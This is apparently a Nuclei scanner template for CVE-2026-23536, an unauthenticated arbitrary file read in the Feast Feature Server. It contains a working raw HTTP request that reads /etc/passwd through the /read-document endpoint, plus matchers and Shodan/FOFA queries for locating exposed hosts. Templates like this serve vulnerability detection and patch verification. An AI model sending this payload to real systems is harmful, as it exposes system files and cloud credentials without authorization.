id: CVE-2026-23536 info: name: Feast Feature Server <=0.58.0 - Arbitrary File Read author: str4k3r severity: high description: | Feast (the open-source Feature Store) Feature Server through 0.58.0 exposes an unauthenticated POST /read-document endpoint that reads an arbitrary, caller-supplied file path with no authentication and no path validation. The read_document_endpoint handler passes the JSON `file_path` field straight to os.path.exists()/open() and returns the file contents in the JSON `content` field, so a remote, unauthenticated attacker can read any file readable by the server process (e.g. /etc/passwd, feature_store.yaml, cloud credentials). Unlike the store-mutating routes it carries no inject_user_details/permission dependency. reference: - https://access.redhat.com/security/cve/CVE-2026-23536 - https://bugzilla.redhat.com/show_bug.cgi?id=2429302 - https://github.com/feast-dev/feast - https://nvd.nist.gov/vuln/detail/CVE-2026-23536 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2026-23536 epss-score: 0.02462 epss-percentile: 0.84563 cwe-id: CWE-22 metadata: verified: true max-request: 1 product: feast vendor: feast-dev shodan-query: http.favicon.hash:493797515 fofa-query: icon_hash="493797515" tags: cve,cve2026,feast,lfi,traversal,mlops,vkev http: - raw: - | POST /read-document HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"file_path":"/etc/passwd"} matchers-condition: and matchers: - type: word part: body words: - '"content":' - '"file_path":' condition: and - type: regex part: body regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 4a0a004730450221009c6a2c58532c9d7f5c1e5d8bf51402532fbdb48ac2f23758b74f3d559623e3fe02203777407ac417157fc07be9545bf48a86cb228dac7cdf59940171d4957e27a979:922c64590222798bb761d5b6d8e72950